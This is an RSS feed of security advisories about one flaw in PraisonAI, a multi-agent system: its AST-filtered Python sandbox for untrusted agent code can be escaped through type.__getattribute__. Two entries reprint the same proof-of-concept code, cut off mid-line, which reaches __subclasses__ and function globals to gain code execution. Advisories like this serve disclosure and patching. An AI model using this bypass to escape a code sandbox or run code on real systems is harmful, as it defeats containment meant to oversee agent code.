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    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
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    <lastBuildDate>Wed, 07 Oct 2026 10:43:39 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-290483</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-290483</link>
      <description>EUVD-2026-290483</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-290483</guid>
    </item>
    <item>
      <title>fkie_cve-2026-40158</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-40158</link>
      <description>&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI&amp;#39;s AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string &amp;#39;__subclasses__&amp;#39; is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI&amp;#39;s AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string &amp;#39;__subclasses__&amp;#39; is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-40158</guid>
    </item>
    <item>
      <title>GHSA-3c4r-6p77-xwr7 — PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-3c4r-6p77-xwr7</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI&amp;#39;s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.&lt;/p&gt;
&lt;p&gt;## Description&lt;/p&gt;
&lt;p&gt;The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:&lt;/p&gt;
&lt;p&gt;The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.&lt;/p&gt;
&lt;p&gt;```python
type.__getattribute__(obj, &amp;#39;__subclasses__&amp;#39;)  # Bypasses filter
```&lt;/p&gt;
&lt;p&gt;The string `&amp;#39;__subclasses__&amp;#39;` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```python
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)&lt;/p&gt;
&lt;p&gt;# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, &amp;#39;__bases__&amp;#39;)
obj_cls = bases[0]&lt;/p&gt;
&lt;p&gt;# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, &amp;#39;__subclasses__&amp;#39;)
all_subclasses = subclasses_fn()&lt;/p&gt;
&lt;p&gt;# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, &amp;#39;__name__&amp;#39;) == &amp;#39;_wrap_close&amp;#39;:
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, &amp;#39;__init__&amp;#39;)
        glb = type(init).__getattribute__(init, &amp;#39;__glo…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI&amp;#39;s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.&lt;/p&gt;
&lt;p&gt;## Description&lt;/p&gt;
&lt;p&gt;The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:&lt;/p&gt;
&lt;p&gt;The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.&lt;/p&gt;
&lt;p&gt;```python
type.__getattribute__(obj, &amp;#39;__subclasses__&amp;#39;)  # Bypasses filter
```&lt;/p&gt;
&lt;p&gt;The string `&amp;#39;__subclasses__&amp;#39;` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```python
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)&lt;/p&gt;
&lt;p&gt;# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, &amp;#39;__bases__&amp;#39;)
obj_cls = bases[0]&lt;/p&gt;
&lt;p&gt;# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, &amp;#39;__subclasses__&amp;#39;)
all_subclasses = subclasses_fn()&lt;/p&gt;
&lt;p&gt;# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, &amp;#39;__name__&amp;#39;) == &amp;#39;_wrap_close&amp;#39;:
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, &amp;#39;__init__&amp;#39;)
        glb = type(init).__getattribute__(init, &amp;#39;__glo…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-3c4r-6p77-xwr7</guid>
    </item>
    <item>
      <title>PYSEC-2026-2898 — PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2898</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;PraisonAI&amp;#39;s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.&lt;/p&gt;
&lt;p&gt;## Description&lt;/p&gt;
&lt;p&gt;The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:&lt;/p&gt;
&lt;p&gt;The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.&lt;/p&gt;
&lt;p&gt;```python
type.__getattribute__(obj, &amp;#39;__subclasses__&amp;#39;)  # Bypasses filter
```&lt;/p&gt;
&lt;p&gt;The string `&amp;#39;__subclasses__&amp;#39;` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```python
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)&lt;/p&gt;
&lt;p&gt;# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, &amp;#39;__bases__&amp;#39;)
obj_cls = bases[0]&lt;/p&gt;
&lt;p&gt;# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, &amp;#39;__subclasses__&amp;#39;)
all_subclasses = subclasses_fn()&lt;/p&gt;
&lt;p&gt;# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, &amp;#39;__name__&amp;#39;) == &amp;#39;_wrap_close&amp;#39;:
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, &amp;#39;__init__&amp;#39;)
        glb = type(init).__getattribute__(init, &amp;#39;__glo…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;PraisonAI&amp;#39;s AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.&lt;/p&gt;
&lt;p&gt;## Description&lt;/p&gt;
&lt;p&gt;The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:&lt;/p&gt;
&lt;p&gt;The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.&lt;/p&gt;
&lt;p&gt;```python
type.__getattribute__(obj, &amp;#39;__subclasses__&amp;#39;)  # Bypasses filter
```&lt;/p&gt;
&lt;p&gt;The string `&amp;#39;__subclasses__&amp;#39;` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```python
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)&lt;/p&gt;
&lt;p&gt;# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, &amp;#39;__bases__&amp;#39;)
obj_cls = bases[0]&lt;/p&gt;
&lt;p&gt;# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, &amp;#39;__subclasses__&amp;#39;)
all_subclasses = subclasses_fn()&lt;/p&gt;
&lt;p&gt;# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, &amp;#39;__name__&amp;#39;) == &amp;#39;_wrap_close&amp;#39;:
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, &amp;#39;__init__&amp;#39;)
        glb = type(init).__getattribute__(init, &amp;#39;__glo…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2898</guid>
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